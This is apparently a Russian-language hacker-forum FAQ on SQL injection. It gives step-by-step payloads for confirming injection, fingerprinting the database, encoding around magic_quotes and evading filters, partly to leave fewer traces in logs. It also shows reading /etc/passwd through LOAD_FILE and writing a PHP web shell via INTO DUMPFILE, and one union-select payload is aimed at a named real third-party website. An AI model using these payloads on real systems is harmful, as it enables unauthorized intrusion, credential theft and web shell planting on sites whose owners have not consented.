SQL
Вопрос №1 Что это? (ну и далее линк , обычно с кавычкой на конце, пройдя по которому можно лицезреть ту или иную ошибку)
Этот вопрос порядком поднадоел и впринципе некорректен, но задаётся с завидной регулярностью
Если выводится ошибка, и в ней присутствует что то по базу/sql/mysql/mssql/PostgreSQL и т.д. или вываливается запрос, или функции вывода из базы, то это ошибка БД, и скорее всего будет возможность провести инъекцию.
НО. Инъекция , это внедрение своего кода в запрос и иногда как раз внедрить его не получится, несмотря на ошибку базы. Как нам это определить. Вот некоторые примеры, которые я надеюсь помогут, и избавят от этого вопроса
site.com/index.php?id=1
Выводит страницу 1
site.com/index.php?id=2-1(Выводит страницу 1)
site.com/index.php?id=2(Выводит страницу 2)
-------------------
site.com/index.php?id=1*1(Выводит страницу 1)
site.com/index.php?id=1*2(Выводит страницу 2)
-------------------
site.com/index.php?id=1+and+1=1(Выводит страницу 1)
site.com/index.php?id=1+and+1=2(Выводит ошибку, или ничего не выводит, вобщем отличается от первого)
-------------------
Если эти примеры работают, то мы имеем SQL инъекцию.
Подчёркиваю: инъекция, это именно возможность влиять на запрос, возможность внедрить в него что-то, а не просто ошибка базы.
Хотелось-бы обратить внимание вот на какой момент. 90% скулей не доставляют хлопот и проводятся по шаблону но, имейте ввиду, что иногда параметры в запросе могут быть заключены в кавычки и скобки . И соответственно, для проведения инъекции запрос нужно будет подгонять под конкретный случай.Когда есть вывод ошибки, запрос можно увидеть(или увидеть ошибку , которая сообщит, что не так), а вот когда его нет, дело обстоит сложнее Я не смогу в рамках этого ФАКа привести все примеры, разумеется, но попробую сформулировать основной принцип. Страница которая выводится без всяких инъектов берётся за true, и при подстановке своего кода, нужно добиваться её вывода. Тоесть:
site.com/index.php?id=1--true
Прервём её комментарием
site.com/index.php?id=1/*
У нас должен быть тот-же вывод. Если его нет, значит мы отсекли своим комментарием какую-то нужную часть запроса. Для начала, попробуем другой комментарий(--,#)
site.com/index.php?id=1--+
Появился вывод, хорошо, значит будем использовать однострочный комментарий. Нет, пробуем скобку
site.com/index.php?id=1)/* и т.д., думаю принцип понятен
С кавычкой история немного другая. Если кавычка в запросе не нужна, то вам не удастся вывести страницу с её использованием, а вот если нужна, страница может выводиться нормально , как с ней, так и без неё. Вобщем эксперементируйте.
site.com/index.php?id=1)/*
site.com/index.php?id=1')--+
site.com/index.php?id=1"/*
site.com/index.php?id=1))--+
и т.д.
Если страница вывелась допустим при таком варианте:
site.com/index.php?id=1')--+
То и запрос будем составлять исходя из того, что параметр заключен в скобки и кавычки. Тоесть:
site.com/index.php?id=1')+union+select+1,2,3--+
Далее этим-же пунктом хотелось-бы обратить внимание на различия баз данных. При выводе ошибки внимательно смотрим на то, что нам пишут, и ищем в ошибке любое упоминание о БД (mysql/Access/InterBase/MSSQL/Oracle/sybase/PostgreSQL) это здорово упростит задачу и избавит от ненужных вопросов и разочарований
Львиную долю занимает конечно MySql, но и другие базы встречаются
Ниже приведу некоторые характерные функции или фразы, которые выводятся в ошибках и позволяют разпознать базу и линки на статьи по разным базам(Опознали базу, го читать статью
)
PostgreSQL(Префикс pg_)
Функции:
pg_exec()
pg_numrows()
pg_query()
pg_fetch_array()
и т.д.
Статья:
Проведение SQL-Injection в PostgreSQL
Автор Spyder
Access пишет что-то такое:
[Microsoft][ODBC Microsoft Access Driver]
или
Microsoft JET Database Engine error
Статья:
Проведение SQL инъекций в Microsoft Access
Автор [53x]Shadow
MS SQL
[Microsoft][ODBC SQL Server Driver]
Статья:
Проведение инъекций в MSSQL сервере от Microsoft
Автор [ cash ]
InterBase\Firebird
ibase_query()
ibase_fetch_object()
ibase_free_result()
ibase_fetch_row()
Статья:
Заметка по Firebird SQL injection
Автор l1ght
Oracle
ORA-01756
(И вообще всякие ORA)
Статья:
Проведение SQL инъекций в Oracle
Автор [53x]Shadow
Sybase
Sybase error
sybase_query()
sybase_num_rows()
Статья:
Проведение SQL инъекций в Sybase ASE
Автор ~!DoK_tOR!~
Ну и конечно наш любимый MySql :
Статьи:
Автор Dr.Z3r0
SQL инъекция (в т.ч. и blind SQL)
Автор kot777
Автор Евгений Минаев
Новая альтернатива Benchmark'y или эффективный blind SQL-injection
Автор Elekt
Автор Qwazar
-----------------
По скулям вроде-бы всё, если в ошибке присутствуют функции
include()
include_once()
require()
require_once()
file()
readfile()
и т.п. Идем читать статьи по PHP инклудам:
Автор GreenBear
Автор Zadoxlik
Автор _Pantera_
[новый способ] замена нулл-байту в инклудах
Автор [Raz0r]
Логи и конфиги
Default *log, *conf files locations
respect ettee
-----------------------------------------
Вопрос №2 Вот так выводит , а вот так невыводит.
site.com/index.php?id=1+union+select+1,2,3,4/*------------выводит
site.com/index.php?id=1+union+select+1,version(),3,4/*----невыводит
Господа, вывод у скули либо есть, либо нет, и если вы видите вывод цифры, но не видите версию или значние из столбца, то варианта 2 либо кодировка, либо тип данных не соответствует
Кодировка:
Может сопровождаться ошибкой такого плана:
Code:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (latin1_bin,IMPLICIT)
Бороться с этим можно несколькими способами, но все они сводятся к одному и тому-же. Что-бы получить данные в нужной нам кодировке можно пользоваться либо функциями приведения типов:
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
convert(version()+using+binary)
Либо шифровать/дешифровать данные. Результат при этом возвращается уже в "правильной" кодировке
aes_decrypt(aes_encrypt(Version(),1),1)
unhex(hex(version()))
пример, можете поэксперементировать с разными функциями:
http://www.oceanworld.com.au/page.asp?id=-8+union+select+1,cast(version()+as+binary),3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables--
Несоответствие типа данных вам может встретится на БД отличных от MySql. MySql относится к типам данных достаточно лояльно, а вот другие БД в основном несоответствия не терпят. Если ваша база оказалась именно такой нужно ознакомится со статьями по проведению инъекций в Вашей базе.
-------------------------------------------
Вопрос №3 Не выводит значение из таблицы, а она есть , точно знаю )
Обычно этот вопрос возникает на 5 ветке мускула, когда все таблицы выведены из information_schema, отсюда и уверенность, что таблица существует.
Вариантов опять-же два
Первый: таблица пустая
Проверяется это элементарно, например так:
union+select+1,2,count(*),4+from+user
count(*) выводит количество записей в таблице, если вывело 0, таблица пустая
либо для 5 ветки так
union+select+1,table_rows+from+information_schema.tables+where+table_name='sasasa'
Второй: Таблица в другой базе.
В базе information_schema хранится информация обо всех таблицах и столбцах из всех баз, и есть вероятность того, что ваша таблица находится не в той базе с которой работает скрипт
Проверяется так(5 ветка)
table_schema+from+information_schema.tables+where+table_name='user', а база с которой работает скрипт выводится database(). Если базы разные, пробуем обратится к той которая нужна
union+select+1,2,count(*),4+from+base.user (по аналогии с mysql.user)
-------------------------------------------
Вопрос №4 Не могу вывести данные (Вытекает из предыдущего)
table_name='users' Ошибка
Скорее всего magic_quotes_gpc = On , и соответственно кавычки слешируются
И снова целых 2 варианта.
Перевести название таблицы/колонки в hex или в CHAR, кому как нравится
Для hex это выглядит так(добавляем к hex впереди 0x что-бы база поняла, что за данные мы ей втюхиваем):
union+select+1,table_rows+from+information_schema.tables+where+table_name=0x7573657273
для CHAR так:
union+select+1,table_rows+from+information_schema.tables+where+table_name=char(117,115,101,114,115)
Как видим обошлись без кавычек (сдесь table_name=users)
Некоторые индивидумы умудряются загонять в хекс или чар вместе с кавычками, тоесть так 'users'=27757365727327, так делать ненадо, база этого не оценит )
Вниманиеоператоры, функции, и т.д переводить в hex или char нельзя
Онлайн кодировщики:
Инструменты для шифрования/дешифрования данных
Universal char SQL encoder by [53x]Shadow!
-------------------------------------------
Вопрос №5 Подбираю столбцы ордером пишет(допустим) 2, делаю запрос union+select+1,2 ничего не выводит (выводит ошибку)
Первое что нужно сделать в этом случае. проверить версию базы, например так:
site.com/index.php?id=1+and+substring(version(),1,1)=3
site.com/index.php?id=1+and+substring(version(),1,1)=4
site.com/index.php?id=1+and+substring(version(),1,1)=5
Если оказалось, что версия третья, то неудивительно. что вывода нет, оператор union введён с четвётой версии mysql. B этом случае читаем статьи по проведению инъекций в 3 ветке
Если версия >=4 . или мы видим ошибку different number of columns это вовсе не означает, что вывода не будет.
Вероятность найти вывод всё равно остаётся. По этой теме идём читать сюда:
с поста 79 и вниз со всеми комментариями
--------------------------------------------
Вопрос №6 В скуле фильтруется ...(варианты)
Ну тут тема очень обширная, но некоторые моменты всё-же достаточно распространены
Сначала пробуем послать данные Постом(а вообще, всегда пробуем постом, т.к. палева в логах меньше), возможно пост не фильтруется.
Если POST тоже фильтруется, рассматрваем варианты, но для начала выясняем, что именно фильтруется. Самый простой способ это попробовать вставить возможное выражение\символ в комментарий. Тоесть:
a.php?id=1/*вот сюда вставляем*/
И если такой запрос не обработается нормально, то это оно и есть
Пробелы заменяем на +,/**/,%0D,%2B,%09,%0A,%20,%2B,$IFS
а в подзапросах можно вообще без пробелов как-то так:
php?a=(1)AND(lower(substring((SELECT(password)from(mysql.user)WHERE(user="user")),1,1))='b')
php?a='1'AND(exists(select(1)from(SmallNu_users)where(ascii(lower(substring(user_id,1,1))))like(50)))and'1'<'2'
"=" можно обойти с помощью like, IN, NOT IN
Ну и различные фильтры операторов можно попробовать обойти записью в разных регистрах, бывает фильтрация регистрозависимая т.е. union фильтрует, а UnIon пропустит. Ну и подзапросы никто не отменял (Рекоммендую всем один раз в них разобраться, и потом будет значительно легче)
---------------------------------------------
Вопрос №7 Помогите залить шелл через SQL
Для этой процедуры необходимо выполнение некоторых условий
1 file_priv (возможность чтения/записи файлов)
Проверяется это так:
union+select+file_priv+from+mysql.user+where+user='имя юзера'
'имя юзера'- это имя того юзера под которым работает база, т.е. то, что выводится по запросу:
union+select+user()
но без хоста. Тоесть если вывело root@localhost, то юзер root
Значения два, либо "Y"-повезло, либо "N", соответственно неповезло
Можно не заморачиваться и сразу попробовать прочитать файл:
union+select+LOAD_FILE('/etc/passwd')+from+mysql.user
если вывело, нужные привелегии у вашего юзера есть
2 Полный путь и папка на запись
Путь ищем в разнообразных ошибках или читая конфиги,через Лоад-Файл. Линк на дефолтные конфиги я приводил выше.
3 magic_quotes_gpc = Off
Для того, что-бы шелл залился, синтаксис мускула требует писать путь в ковычках.
Ну и наконец, если нам трижды повезло, льём например так:
union+select+1,'<?php код вашего шелла ?>',3,4,5,6,7,8+into+DUMPFILE+'/путь/до/вашего/будующего/шелла/shell.php'/*
или ещё варианты рассматриваются сдесь:
Автор [cash]
и даже при magic_quotes_gpc = on , существует вероятность залиться, но для этого нужны 2 запроса к базе. Как это сделать описывается сдесь:
Автор Scipio
---------------------------------------------
По XSS вопросов возникает меньше, но линки на темы всё-же приведу:
Взлом чатов by Algol. Теория и Практика
Автор Algol
Авторы Algol zFailure
Использование UTF-7 в атаках класса XSS
Автор Algol
Автор Thesaurus
Cross Site Scripting для новичков
Автор _Pantera_
Автор Micr0b
Автор Constantine
Важно Примеры SQL запросов приведены для базы MySql, в других базах синтаксис другой, читаем статьи.
База information_schema, появилась в MySql =>5
А то некоторые до сих пор умудряются писать , что доступ к шеме запрещён, на четвёртой ветке